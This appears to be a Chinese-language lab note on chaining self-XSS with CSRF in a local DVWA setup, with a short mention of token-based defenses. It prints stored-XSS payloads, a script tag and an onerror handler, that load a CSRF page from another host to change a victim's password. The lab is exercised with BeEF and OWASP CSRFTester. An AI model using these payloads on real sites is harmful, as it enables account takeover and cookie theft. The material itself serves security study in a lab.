产生原因:由于服务器未对客户端用户正确的身份校验,导致用户可以任意提交文件
防御:加上身份校验,添加token值
cookie的token值进行防御。
在注册用户的时候服务器会生成token。
短链接是可以隐藏网站真正目的,比如把修改密码网站改为短链接就看不出来了。为此csrf漏洞就用户点击就被改密码了
selfxss,顾名思义,自己输入xss脚本,输出仅自己看到,仅xss到自己。
document.cookie 获取cookie值
因为登录的是自己的用户使用这个命令就将只获取自己的cookie值。
如此我们认为这个很鸡肋如同废物一般的操作,为此想要把selfxss变废为宝就需要加上csrf。
当我我们发现传输中有一个CSRF的漏洞,传输没有带上token值。我们就可以两者利用,使用CSRF来构造一个form表单,在form表单中写上selfxss的地址【存储型xss,把地址存入数据库】。当他人点击CSRF给的链接的适合就会执行一次selfxss命令并且获取到cookie。
本机:win10
DVWA:安装在本机
BEEF:安装在kali
工具:OWASP CSRFester
DVWA的安全等级设置为:LOW

输入但是不点击change因为要工具抓取


修改代理服务器为8008抓取数据包【点击start】

点击change

抓取到修改后信息后点stop停止抓取。
将参数填入点击change后生成html。

生成的html
修改表单值得到恶意页面

输入构造语句,为因为输入内容字符长被限制。进行修改

关闭代理
<script src="192.168.56.1/demo.html"></script>

录入到数据库刷新重新登录使用654321登录

登录失败。我们采用123456密码是成功登录了。没有修改密码。如此重新登录,密码还是123456,进行失败原因待查证
<script src="x"
onerror=javascript:window.open("http://172.16.10.62/demo.html")>
</script>

录入后自动跳转修改了密码

刷新登录密码已经变成了654321
